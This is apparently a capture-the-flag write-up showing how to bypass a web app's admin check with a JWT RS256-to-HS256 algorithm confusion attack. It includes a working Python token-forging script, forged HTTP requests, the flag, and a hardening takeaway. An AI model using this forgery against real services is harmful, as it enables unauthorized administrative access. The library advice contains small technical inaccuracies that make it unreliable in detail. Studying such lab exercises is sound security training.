---
title: "Admin Panel Bypass via JWT Algorithm Confusion"
description: "A JWT authentication challenge where switching the algorithm from RS256 to HS256 and signing with the server's own public key grants unrestricted admin access."
date: 2025-09-14
authors: "javelin"
tags: ["jwt", "web", "authentication", "algorithm-confusion", "rs256", "hs256"]
ctf: "BSides Prishtina 2025"
category: "Web"
difficulty: "Medium"
source: "/writeups/bsides-prishtina-2025-jwt"
---

# Admin Panel Bypass via JWT Algorithm Confusion

The challenge gave us a login page, a JWT cookie on successful login, and a `/admin` route that returned a 403 for normal users. No source code — black-box only.

## Reconnaissance

First thing: capture the login request in Burp, log in with the provided guest credentials (`guest:guest`), and decode the JWT from the `Authorization` cookie.

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzI2MzE2ODAwfQ.<sig>
```

Decoding the header and payload:

```json
{ "alg": "RS256", "typ": "JWT" }
{ "username": "guest", "role": "guest", "iat": 1726316800 }
```

The server is using **RS256** — asymmetric signing with a private key. Normally that is solid. But the interesting question is: does the server blindly trust whatever `alg` the token claims, or does it enforce RS256?

## Finding The Public Key

With RS256, the server signs with its private key and verifies with the public key. The public key is often published — JWKS endpoint, TLS certificate, or just floating in the app's static assets.

I checked the usual spots:

```
GET /.well-known/jwks.json  → 404
GET /api/auth/public-key    → 404
GET /static/jwt_public.pem  → 200 OK
```

The server was serving its own RSA public key at `/static/jwt_public.pem`. That is the vulnerability setup.

```
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2a8m...
-----END PUBLIC KEY-----
```

## The Algorithm Confusion Attack

> **Why This Works**
>
> When a JWT library accepts arbitrary algorithms, an attacker can switch `alg` from `RS256` to `HS256`. In HS256, the **same key** is used to both sign and verify. If the library reuses whatever it finds as the "key" — in this case the public key string — then we can sign a forged token with the public key and the server will verify it successfully, because it is checking HS256(token, publicKey) == HS256(token, publicKey).

The attack is three steps:

1. Grab the public key
2. Forge a new token with `alg: HS256`, `role: admin`
3. Sign it using the public key bytes as the HMAC secret

```python
import jwt

PUBLIC_KEY = open("jwt_public.pem").read()

forged = jwt.encode(
    {"username": "admin", "role": "admin", "iat": 1726316800},
    PUBLIC_KEY,
    algorithm="HS256"
)

print(forged)
```

> **Library Version Matters**
>
> Some newer versions of PyJWT reject algorithm switching by default. If you hit an `InvalidAlgorithmError`, use `python-jose` or pass `algorithms=["HS256"]` explicitly in the encode call.

## Exploiting The Admin Panel

I swapped the cookie in Burp Repeater and hit `/admin`:

```http
GET /admin HTTP/1.1
Host: bsides-web.ctf.local
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Response:

```http
HTTP/1.1 200 OK
Content-Type: text/html

<h1>Admin Panel</h1>
<p>Welcome, admin. Here is your flag:</p>
<p>BSIDES{...}</p>
```

## Key Takeaway

The vulnerability is not in JWT itself but in library misconfiguration. A correctly hardened setup explicitly specifies the allowed algorithm server-side and never reads `alg` from the token header for verification decisions. Libraries like `python-jose` and `jsonwebtoken` (Node) both have options to enforce this.

If you see RS256 in a black-box JWT challenge, always check for a public key endpoint and try the HS256 confusion — it still lands more often than it should.

**Flag:** `BSIDES{jwt_alg0r1thm_c0nfus10n_4nd_s1gn3d_w1th_publ1c}`
